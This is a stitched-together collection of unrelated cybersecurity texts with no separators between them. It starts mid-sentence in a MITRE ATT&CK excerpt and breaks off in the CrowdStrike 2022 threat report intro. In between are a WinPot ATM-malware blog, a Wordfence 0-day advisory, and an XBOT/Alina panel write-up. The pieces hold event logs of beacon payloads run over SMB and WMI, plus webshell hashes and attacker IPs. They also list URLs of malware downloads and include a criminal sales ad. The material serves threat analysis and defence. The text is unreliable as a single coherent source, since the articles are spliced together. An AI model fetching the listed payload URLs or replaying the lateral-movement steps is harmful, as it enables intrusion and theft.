for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent valid accounts that can be used by existing services. ### Detection Methods Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through discovery techniques prior to attempting lateral movement. --- ## Remote System Discovery Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. ### Windows Examples of tools and commands that acquire this information include `ping` or `net view` using Net. ### Mac Specific to Mac, the Bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as `ping` and others can be used to gather information about remote systems. ### Linux Utilities such as `ping` and others can be used to gather information about remote systems. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:00| WS2 | 3400 | run net computers | | 12/08 18:05| WS2 | 3400 | run net dclist | ### Mitigation Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. --- ## Scheduled Transfer Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:00| WS2 | 3400 | sleep for 1s | ### Mitigation Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. ### Detection Methods Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious. --- ## Screen Capture Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. ### Mac On OSX, the native command `screencapture` is used to capture screenshots. ### Linux On Linux, there is the native command `xwd`. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:53| WS2 | 3400 | take screenshot | | 12/08 18:10| JOSHDEV | 356 | take a screenshot in 1220/x86 | ### Mitigation Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. --- ## Scripting Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit, Veil, and PowerSploit are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 17:55| WS2 | 3400 | import: C:\Users\user\Desktop\PowerSploit-master\Privesc\PowerUp.ps1 | | 12/08 18:00| WS2 | 3400 | import: C:\Users\user\Desktop\PowerSploit-master\Recon\PowerView.ps1 | ### Mitigation Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell. ### Detection Methods Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. --- ## Service Execution Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:02| WS2 | 3400 | run windows/beacon_smb/bind_pipe (\\fileserver.corp.acme.com\pipe\status_9756) on fileserver.corp.acme.com via Service Control Manager (PSH) | | 12/08 18:06| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\DC\pipe\status_9756) on DC via Service Control Manager (PSH) | | 12/08 18:08| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\MAIL\pipe\status_9756) on MAIL via Service Control Manager (\\MAIL\ADMIN$\c0b6e50.exe) | ### Mitigation Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level. Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec. --- ## Windows Admin Shares Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. The Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:02| WS2 | 3400 | list files in \\fileserver.corp.acme.com\ADMIN$ | | 12/08 18:06| WS2 | 1872 | list files in \\DC\C$ | | 12/08 18:08| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\MAIL\pipe\status_9756) on MAIL via Service Control Manager (\\MAIL\ADMIN$\c0b6e50.exe) | ### Mitigation Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group on multiple systems. Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting tools, like AppLocker, or Software Restriction Policies where appropriate. ### Detection Methods Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and discovery techniques that could be used to find remotely accessible systems. --- ## Windows Management Instrumentation Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135. An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for discovery and remote execution of files as part of lateral movement. ### Related Events | Date | Host | PID | Activity | |------------|----------|------|--------------------------------------------| | 12/08 18:09| WS2 | 1872 | run windows/beacon_smb/bind_pipe (\\JOSHDEV\pipe\status_9756) on JOSHDEV via WMI | ### Mitigation Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. ### Detection Methods Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. --- ## LICENSE The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Adversarial Tactics, Techniques and Common Knowledge (ATT&CK™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. "(c) 2017 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation." ## DISCLAIMERS MITRE does not claim ATT&CK enumerates all possibilities for the types of actions and behaviors documented as part of its adversary model and framework of techniques. Using the information contained within ATT&CK to address or cover full categories of techniques will not guarantee full defensive coverage as there may be undisclosed techniques or variations on existing techniques not documented by ATT&CK. ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN ARE PROVIDED ON AN "AS IS" BASIS AND THE CONTRIBUTOR, THE ORGANIZATION HE/SHE REPRESENTS OR IS SPONSORED BY (IF ANY), THE MITRE CORPORATION, ITS BOARD OF TRUSTEES, OFFICERS, AGENTS, AND EMPLOYEES, DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION THEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
# ATM Robber WinPot: A Slot Machine Instead of Cutlets **Authors:** Konstantin Zykov **19 Feb 2019** **Minute read** Automation of all kinds is there to help people with their routine work, making it faster and simpler. Although ATM fraud is a very peculiar sort of work, some cybercriminals spend a lot of effort to automate it. In March 2018, we came across a fairly simple but effective piece of malware named WinPot. It was created to make ATMs by a popular ATM vendor automatically dispense all cash from their most valuable cassettes. We called it ATMPot. The criminals had clearly spent some time on the interface to make it look like that of a slot machine, likely as a reference to the popular term ATM-jackpotting, which refers to techniques designed to empty ATMs. In the WinPot case, each cassette has a reel of its own numbered 1 to 4 (4 is the max number of cash-out cassettes in an ATM) and a button labeled SPIN. As soon as you press the SPIN button (in our case it is greyed out because we are actually dispensing cash), the ATM starts dispensing cash from the corresponding cassette. Down from the SPIN button, there is information about the cassette (bank note value and the number of bank notes in the cassette). The SCAN button rescans the ATM and updates the numbers under the SLOT button, while the STOP button stops the dispensing in progress. We found WinPot to be an amusing and interesting ATM malware family, so we decided to keep a close eye on it. Over time, new samples popped up, each one with minor modifications. For example, a changed packer (like Yoda and UPX) or updated time period during which the malware was programmed to work (e.g., during March). If system time does not fall in with the preset period, WinPot silently stops operating without showing its interface. The number of samples we had found was also reflected in the European Fraud Update published in the summer of 2018. It has a few lines about WinPot: “ATM malware and logical security attacks were reported by nine countries. Five of the countries reported ATM related malware. In addition to Cutlet Maker (used for ATM cash-out), a new variant called WinPot has been reported…” Same as Cutlet Maker, WinPot is available on the (Dark)net for approximately 500 – 1000 USD depending on the offer. One of the sellers offers WinPot v.3 together with a demo video depicting the “new” malware version along with a still unidentified program with the caption “ShowMeMoney.” Its looks and mechanics seem quite similar to those of the Stimulator from the CutletMaker story. Due to the nature of ATM cash-out malware, its core functionality won’t change much. But criminals do encounter problems, so they invent modifications: - To trick the ATM security systems (using protectors or other ways to make each new sample unique); - To overcome potential ATM limitations (like maximum notes per dispense); - To find ways to keep the money mules from abusing their malware; - To improve the interface and error-handling routines. We thus expect to see more modifications of the existing ATM malware. The preferred way of protecting the ATM from this sort of threat is to have device control and process allowlisting software running on it. The former will block the USB path of implanting the malware directly into the ATM PC, while the latter will prevent execution of unauthorized software on it. Kaspersky Embedded Systems Security will further help to improve the security level of the ATMs. Kaspersky Lab products detect WinPot and its modifications as Backdoor.Win32.ATMPot.gen. **Sample MD5:** 821e593e80c598883433da88a5431e9d **Tags:** ATM, Financial malware, Malware Descriptions
# Critical 0-day in Fancy Product Designer Under Active Attack **Update:** A patched version of Fancy Product Designer, 4.6.9, is now available as of June 2, 2021. This article has been updated to reflect newly available information, including Indicators of Compromise. On May 31, 2021, the Wordfence Threat Intelligence team discovered a critical file upload vulnerability being actively exploited in Fancy Product Designer, a WordPress plugin installed on over 17,000 sites. We initiated contact with the plugin’s developer the same day and received a response within 24 hours. We sent over the full disclosure the same day we received a response, on June 1, 2021. Due to this vulnerability being actively attacked, we are publicly disclosing with minimal details until users have time to update to the patched version in order to alert the community to take precautions to keep their sites protected. While the Wordfence Firewall’s built-in file upload protection sufficiently blocks the majority of attacks against this vulnerability, we determined that a bypass was possible in some configurations. As such, we released a new firewall rule to our premium customers on May 31, 2021. Sites still running the free version of Wordfence will receive the rule after 30 days, on June 30, 2021. As this is a Critical 0-day under active attack and is exploitable in some configurations even if the plugin has been deactivated, we urge anyone using this plugin to update to the latest version available, 4.6.9, immediately. ## Description - **Unauthenticated Arbitrary File Upload and Remote Code Execution** - **Affected Plugin:** Fancy Product Designer - **Plugin Slug:** fancy-product-designer - **Affected Versions:** < 4.6.9 - **CVE ID:** CVE-2021-24370 - **CVSS Score:** 9.8 (Critical) - **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - **Researchers:** Charles Sweethill/Ram Gall - **Fully Patched Version:** 4.6.9 Fancy Product Designer is a WordPress plugin that offers the ability for customers to upload images and PDF files to be added to products. Unfortunately, while the plugin had some checks in place to prevent malicious files from being uploaded, these checks were insufficient and could easily be bypassed, allowing attackers to upload executable PHP files to any site with the plugin installed. This effectively made it possible for any attacker to achieve Remote Code Execution on an impacted site, allowing full site takeover. We will provide a more detailed technical explanation of the vulnerability once more users have updated to a patched version. ## How do I update? In most cases, you will need to log in to codecanyon.net. Once you are logged in, you should be able to visit the product page. In the Overview sidebar on the right-hand side of the product page, you should see a Download link. Once you have downloaded the patched version of the plugin, you should be able to log in to your WordPress site and go to Plugins -> Add New -> Upload Plugin to upload the patched plugin. ## Indicators of Compromise In most cases, a successful attack results in a number of files which will appear in a subfolder of either `wp-admin` or `wp-content/plugins/fancy-product-designer/inc` with the date the file was uploaded. For instance: - `wp-content/plugins/fancy-product-designer/inc/2021/05/30/4fa00001c720b30102987d980e62d5e4.php` - `wp-admin/2021/05/31/4fa00001c720b30102987d980e62d5e4.php` The following filenames and MD5 hashes are associated with this attack: - `ass.php` – MD5 3783701c82396cc96d842839a291e813. This is the initial payload, a dropper that then retrieves additional malware from a 3rd party site. - `op.php` – MD5 29da9e97d5efe5c9a8680c7066bb2840. A password-protected Webshell. - `prosettings.php` – MD5 e6b9197ecdc61125a4e502a5af7cecae. A Webshell found in older infections. - `4fa00001c720b30102987d980e62d5e4.php` – MD5 4329689c76ccddd1d2f4ee7fef3dab71. This payload decodes and loads a separate Webshell. - `4fa00001c720b30002987d983e62d5e1.jpg` – MD5 c8757b55fc7d456a7a1a1aa024398471. The compressed webshell loaded by `4fa00001c720b30102987d980e62d5e4.php`. Cannot be executed without the loader script. The majority of attacks against this vulnerability are coming from the following IP addresses: - 69.12.71.82 - 92.53.124.123 - 46.53.253.152 This attacker appears to be targeting e-commerce sites and attempting to extract order information from site databases. As this order information contains personally identifiable information from customers, site owners are in a particularly difficult position if they are still running vulnerable versions of this plugin as it risks the e-commerce merchant’s PCI-DSS compliance. Our research indicates that this vulnerability is likely not being attacked on a large scale but has been exploited since at least May 16, 2021. Update: Our Threat Intelligence Team has now found evidence of this vulnerability being exploited as early as January 30, 2021. ## Timeline - **May 31, 2021 15:05 UTC** – Wordfence Security Analyst Charles Sweethill finds evidence of a previously unknown vulnerability during malware removal and forensic investigation as part of a site cleaning and begins investigating possible attack vectors. - **May 31, 2021 15:45 UTC** – Charles notifies the Wordfence Threat Intelligence team and a full investigation begins. - **May 31, 2021 16:20 UTC** – We develop an initial proof of concept and begin work on a firewall rule. - **May 31, 2021 17:06 UTC** – We initiate contact with the plugin developer. - **May 31, 2021 18:59 UTC** – We release the firewall rule protecting against this vulnerability to Wordfence Premium customers. - **June 1, 2021 09:03 UTC** – The plugin developer responds to our initial contact. - **June 1, 2021 13:35 UTC** – We send over full disclosure. - **June 2, 2021** – The plugin developer releases a patched version, 4.6.9, of the plugin. - **June 30, 2021** – Firewall rule becomes available to free Wordfence users. ## Conclusion In today’s article, we covered a critical 0-day vulnerability in Fancy Product Designer that is being actively attacked and used to upload malware onto sites that have the plugin installed. While Wordfence Premium users should be protected against this vulnerability, we urge any users of this plugin to update to the latest version of the plugin, 4.6.9, immediately, as it is possible in some configurations to exploit the vulnerability even if the plugin is deactivated. We will continue to monitor the situation and follow up as more information becomes available. **Special Thanks** to Wordfence Security Analyst Charles Sweethill for discovering the vulnerability, determining the most likely vectors and indicators of compromise, and testing the firewall rule during a holiday. We also wanted to extend kudos to the plugin developer, radykal, for quickly developing a patch for this issue.
# Quick Look at Another Alina Fork: XBOT-POS Hi, it's time for a new post. Today I'll try to have a look at the "Team NZMR." I've found this funny team by hazard on Twitter via the bot @ScumBots. I would like to write this little blog post because I think that this is interesting to see an Alina panel behind a .onion domain, and as you can see later, I like looking at some weird panels. Let's have a look at this server. As we know, we have an Alina (well-known POS malware) panel at `thzsmrjqqzpaz2mz.onion.link/al/loading.php`. **Samples:** - `26aa9709d0402157d9d36e4849b1f9bacecd8875169c7f26d7d40c5c0c3de298` In the same boring way, we can find: - A Fareit/Pony panel at `thzsmrjqqzpaz2mz.onion.link/pn/admin.php` (I don't have a sample) - An Atmos at `thzsmrjqqzpaz2mz.onion.link/at/cp.php`: Sample `e34720cc8ab3718413064f19af5cc704e95661e743293a19f218d3b675147525` Thanks to CCAM, we can get 2 new servers used by this team: - `http://netco1000.ddns.net/at/file.php` - `http://22klzn6kzjlwlmt2.onion.link/at/file.php` Those guys really want your creds and your credit card numbers. They also try to deal with ransomware (NZMR Ransomware) at `https://thzsmrjqqzpaz2mz.onion.link/ed2/` without success. But I've written this quick blog post for the last panel. Let me introduce you to the XBOT panel: `https://thzsmrjqqzpaz2mz.onion.link/panel/` The bot ad: Selling xbot, new bank trojan -- Modules -- Webinject -- Formgrabber -- Socket4/5 -- Hidden VNC. New bot bank xbot is available for rent ($800/monthly) -- server on tornetwork/clearnet. Customized programming service and web developer/c/c++/Python/NET/others. Team Coder/NZMR xbot costs $3k. Modules available: webinject, formgrabber, Socket4/5, Hidden VNC. When buying xbot, what do you get? - You will get the builder, bin/exe + socket.exe/server.exe hvnc - Free installation on your server in tornetwork or clearnet, you choose - Monthly support paid $100 (you choose, with or without support) - Update bot for new version $400 - Rent xbot Panel access (Clearnet/Tornetwork) Bin (exe) Socket.exe/hvnc.exe Price $800 monthly (First 6 customers, others $1k) - Support monthly $100 (btc) I don't have any sample yet, but if you have one, I'm really interested. Thanks to Xylitol, this panel looks like a mix between Alina and Dexter. For example, the URI scheme "/front/stats.php," the success status code 666, or this page "Version Control." This panel looks designed for banking stuff (webinjects) and POS malware. From the XBOT panel, you can download/execute, start VNC sessions, socks sessions, and update bots. We can also find some strange "webinjects" stuff where "view content" leads to these kinds of data. Some settings (look at the Alinas 666 status code): You can also add some bins in the panel database. Currently, they have 8472 bins in the database. And finally, the bot lists (~600 bots if I trust the bots list). I've uploaded the whole list of bots in this album. Ping me if you're on the list. I'm really curious to see the binary part. And finally, the database structure reminds again Alina. By this way, we will find soon more Alina forks than Zeus forks. So, NOPE! It's not a super new next-gen POS malware; it's just another Alina Fork, but this webinjects part looks curious, and the team seems very active. But come on, $3k for open-sourced malware, haha... Thanks for your time, thanks to Xylitol, and happy hunting! **IOCs:** - `http://thzsmrjqqzpaz2mz.onion.link/al/Spark.exe` (Alina) - `http://thzsmrjqqzpaz2mz.onion.link/payload.exe` (Neutrino) - `http://thzsmrjqqzpaz2mz.onion.link/at/files/us.exe` (Atmos) - `http://22klzn6kzjlwlmt2.onion.link/al/Spark.exe` (Alina) - `http://22klzn6kzjlwlmt2.onion.link/al/payload.exe` (Neutrino) - `http://22klzn6kzjlwlmt2.onion.link/al/files/us.exe` (Atmos) - `http://netco1000.ddns.net` - `http://netco400.ddns.net/Dia` (Gorynch) - `http://netco400.ddns.net/at/` (Atmos) - `e34720cc8ab3718413064f19af5cc704e95661e743293a19f218d3b675147525` (Atmos) - `26aa9709d0402157d9d36e4849b1f9bacecd8875169c7f26d7d40c5c0c3de298` (Alina) - `8a62f61c4d11d83550ab4baceb9b18d980a4c590723f549f97661a32c1731aff` (Neutrino)
# CrowdStrike 2022 Global Threat Report ## Foreword The CrowdStrike 2022 Global Threat Report provides crucial insights into what security teams need to know to stay ahead of today's threats in an increasingly ominous threat landscape. As organizations scrambled at the start of 2021 to protect supply chains and interconnected systems in the face of the incredibly sophisticated Sunburst attack, adversaries exploited zero-day vulnerabilities and architectural limitations in legacy systems like Microsoft. At the same time, eCrime syndicates refined and amplified big game hunting (BGH) ransomware attacks that ripped across industries, sowing devastation and sounding the alarm on the frailty of our critical infrastructure. For security teams already dealing with an ongoing skills shortage, these issues proved challenging enough on their own. But the strain on security teams was amplified even more at the end of the year when the ubiquitous Log4Shell vulnerability threatened a complete security meltdown. Understanding these events gives visibility into the shifting dynamics of adversary tactics, which is critical for staying ahead of today’s threats. This is the context that the CrowdStrike 2022 Global Threat Report delivers. Developed based on the firsthand observations of our elite CrowdStrike Intelligence and Falcon OverWatch™ teams, combined with insights drawn from the vast telemetry of the CrowdStrike Security Cloud, this year’s report provides crucial insights into what security teams need to know about an increasingly ominous threat landscape. Among the details you’ll learn in this year’s report: - How state-sponsored adversaries targeted IT and cloud service providers to exploit trusted relationships and supply chain partners. - How state-sponsored adversaries weaponized vulnerabilities to evade detection and gain access to critical applications and infrastructure. - How sophisticated adversaries exploited stolen credentials and identities to amplify ransomware BGH attacks and infiltrate cloud environments. - How malicious actors intensified attacks on critical cloud infrastructure with new, sophisticated approaches. Our annual report also paints a picture that shows enterprise risk is coalescing around three critical areas: endpoints and cloud workloads, identity, and data. Threat actors continue to exploit vulnerabilities across endpoints and cloud environments and ramp up innovation on how they use identities and stolen credentials to bypass legacy defenses—all to reach their goal, which is your data. CrowdStrike has observed that 62% of attacks comprise non-malware, hands-on-keyboard activity. As adversaries advance their tradecraft in this manner to bypass legacy security solutions, autonomous machine learning alone is not good enough to stop dedicated attackers. CrowdStrike is relentless in our drive to keep you ahead of adversaries today and into the future. To meet the adversaries head-on, we’re unifying a modern approach to security with a platform that connects the machine both to the identity and the data to deliver full Zero Trust protection. As adversaries shift to targeting cloud workloads, we’re providing deep visibility and proactive security across the entire cloud-native stack. To alleviate the burden of the constant cycle of patching, we’re prioritizing the vulnerabilities that create the most risk. And for the most sophisticated attacks, we’ve delivered powerful new extended detection and response (XDR) capabilities to help overwhelmed security teams automate response and reduce the time it takes to hunt across domains. 2021 taught us that no matter how much adversity we face, the adversary will not rest. Attacks are growing more destructive, causing mass disruption in all aspects of our daily lives. But this is the challenge we’ve accepted and a fight that we will win together. I hope you find this report informative and that it gives you the same clarity of purpose it gives me: to be unrelenting in our drive to stop adversaries from stopping business and our way of life. George Kurtz CrowdStrike CEO and Co-Founder ## Introduction As we reflect upon 2021, two overarching themes come to the forefront: adaptability and perseverance. Businesses are finding paths forward with new technologies and solutions, adapting in the face of adversity and persevering in spite of uncertainty as we continue to navigate the challenges of living through a global pandemic. While these issues will ultimately lead to strength and innovation in organizations around the world, they will also create new risks and vulnerabilities that can be exploited. Cyber adversaries kept pace in 2021 with many adapting to a changing target landscape. This trend was perhaps best exemplified by the shifts observed in the 2021 eCrime ecosystem, which—while remaining vast and interconnected—comprises many criminal enterprises that exist to support big game hunting (BGH) ransomware operations. Notably, adversaries in 2021 were able to circumvent actions that threatened cessation of their operations, and some even resorted to rebranding as a result. Despite new approaches taken by law enforcement, including attempts to seize ransom payments and criminal funds before they reached adversaries’ hands, CrowdStrike Intelligence observed an 82% increase in ransomware-related data leaks in 2021, compared to 2020. This increase, coupled with other data leaks, is a stark reminder of the value that adversaries place on victim data. In 2021, targeted intrusion adversaries continued to adapt to the changing operational opportunities and strategic requirements of technology and world events. Russian, Chinese, Iranian, and North Korean adversaries were all observed employing new tradecraft or target-scopes meant to respond to global trends. This included: Russia’s targeting of IT and cloud service providers to exploit trusted relationships; China’s weaponization of vulnerabilities at scale to facilitate initial access efforts; Iran’s use of ransomware to blend disruptive operations with authentic eCrime activity; and the Democratic People's Republic of Korea’s (DPRK) shift to cryptocurrency-related entities in an effort to maintain illicit revenue generation during economic disruptions caused by the pandemic. Governments are also adapting. This year, CrowdStrike Intelligence debuted two new adversary animals—WOLF and OCELOT—to label targeted intrusions emanating from Turkey and Colombia, respectively. The presence of these new adversaries underscores the increase in offensive capabilities outside of governments traditionally associated with cyber operations and highlights the variety of actor end goals. Private sector offensive actors (PSOAs), such as NSO Group and Candiru, continued to serve as hackers-for-hire throughout 2021, providing governments with substitute or supplemental capabilities and further enlarging the global actor space. In the hacktivist landscape, CrowdStrike Intelligence observed the continued development of grassroots operations and a proliferation of established hacktivist groups across the world. The rise of the Belarusian group Cyber Partisans since late 2020, the expanded role and diversification of the broader Iranian hacktivist ecosystem, and the growing participation of various hacktivists in response to Western political developments all exemplify this trend. As our adversaries adapt, so do we. CrowdStrike Intelligence offered an unparalleled level of coverage throughout 2021, adding 21 named adversaries and raising the total of tracked actors across all motivations to over 170. CrowdStrike Intelligence continues to expand coverage of threat landscapes beyond targeted intrusion, eCrime, and hacktivist mission areas; in 2021, we increased support for vulnerability intelligence and mobile intelligence across all our products. In 2021, CrowdStrike launched Falcon Intelligence Recon+ as a companion service for Falcon Intelligence Recon™. Falcon Intelligence Recon+ analysts manage monitoring, triaging, assessing, and mitigating threats across the criminal underground. They also assess and recommend effective mitigation steps, helping customers act decisively and proactively to prevent and detect future attacks. CrowdStrike's Falcon Intelligence Elite service was also expanded in 2021 to provide a single point of contact for onboarding, product integration, intelligence clarification, personalized threat briefing, and intelligence research. Falcon Intelligence Elite analysts continue to provide proactive notifications of threats to CrowdStrike customer organizations. The CrowdStrike 2022 Global Threat Report summarizes the entirety of analysis performed by the CrowdStrike Intelligence team throughout 2021, including descriptions of notable themes, trends, and significant events in cybersecurity. This analysis, combined with case studies from the Falcon OverWatch™ managed threat hunting team, demonstrates how threat intelligence and proactive hunting can provide a deeper understanding of the motives, objectives, and activities of these actors—information that can empower swift proactive countermeasures to better defend your valuable data now and in the future. ## Naming Conventions This report follows the naming conventions instituted by CrowdStrike to categorize adversaries according to their nation-state affiliations or motivations. The following is a guide to these adversary naming conventions. | Adversary | Nation-state or Category | |-----------|--------------------------| | BEAR | RUSSIA | | BUFFALO | VIETNAM | | CHOLLIMA | DPRK (NORTH KOREA) | | CRANE | ROK (REPUBLIC OF KOREA) | | JACKAL | HACKTIVIST | | KITTEN | IRAN | | LEOPARD | PAKISTAN | | LYNX | GEORGIA | | OCELOT | COLOMBIA | | PANDA | PEOPLE’S REPUBLIC OF CHINA | | SPIDER | ECRIME | | TIGER | INDIA | | WOLF | TURKEY | ## Threat Landscape Overview ### eCrime Breakout Time Today’s eCrime adversaries move with speed and purpose in pursuit of their objectives. The CrowdStrike Falcon OverWatch team measures breakout time—the time an adversary takes to move laterally from an initially compromised host to another host within the victim environment. Our analysis of the breakout time for hands-on eCrime intrusion activity in 2021 revealed an average of just 1 hour 38 minutes. This number is essentially unchanged from what was reported by CrowdStrike’s Falcon OverWatch team in the CrowdStrike 2021 Threat Hunting Report, when breakout time for eCrime actors was measured at 1 hour 32 minutes. eCrime adversaries continue to show a high degree of sophistication as evidenced by the speed at which they can move through a victim environment, leaving a very short window for defenders to respond. ### Adversary Tactics Adversaries continue to show that they have moved beyond malware. Attackers are increasingly attempting to accomplish their objectives without writing malware to the endpoint. Rather, they have been observed using legitimate credentials and built-in tools—an approach known as “living off the land” (LOTL)—in a deliberate effort to evade detection by legacy antivirus products. Of all detections indexed by the CrowdStrike Security Cloud in the fourth quarter of 2021, 62% were malware-free. In 2021, OverWatch tracked steadily increasing numbers of interactive intrusion campaigns. Compared to 2020, OverWatch observed a near 45% increase in the number of such campaigns, and uncovered more in the fourth quarter than in any other quarter. ### Types of Threat Activity - **eCrime**: Financially motivated criminal intrusion activity. - **Targeted**: State-sponsored intrusion activity that includes cyber espionage, state-nexus destruction attacks, and generating currency to support a regime. - **Hacktivist**: Intrusion activity undertaken to gain momentum, visibility, or publicity for a cause or ideology. - **Unattributed**: Insufficient data were available to make a confident attribution. Financially motivated eCrime activity continues to dominate the interactive intrusion attempts tracked by OverWatch. Intrusions attributed to eCrime accounted for nearly half (49%) of the observed activity, while targeted intrusions accounted for 18%, hacktivist activity was responsible for 1%, and the remaining 32% of attacks remain unattributed. The distribution of these figures is similar to that of 2020. ## 2021 Themes ### Ransomware and the Ever-adaptable Adversary The growth and impact of BGH in 2021 was a palpable force felt across all sectors and in nearly every region of the world. Although some adversaries and ransomware ceased operations in 2021, the overall number of operating ransomware families increased. CrowdStrike Intelligence observed an 82% increase in ransomware-related data leaks in 2021, with 2,686 attacks as of Dec. 31, 2021, compared to 1,474 in 2020. These figures, coupled with other data leaks, highlight how valuable victim data is to adversaries. At times, the BGH landscape has been unpredictable, and adversaries have not always been able 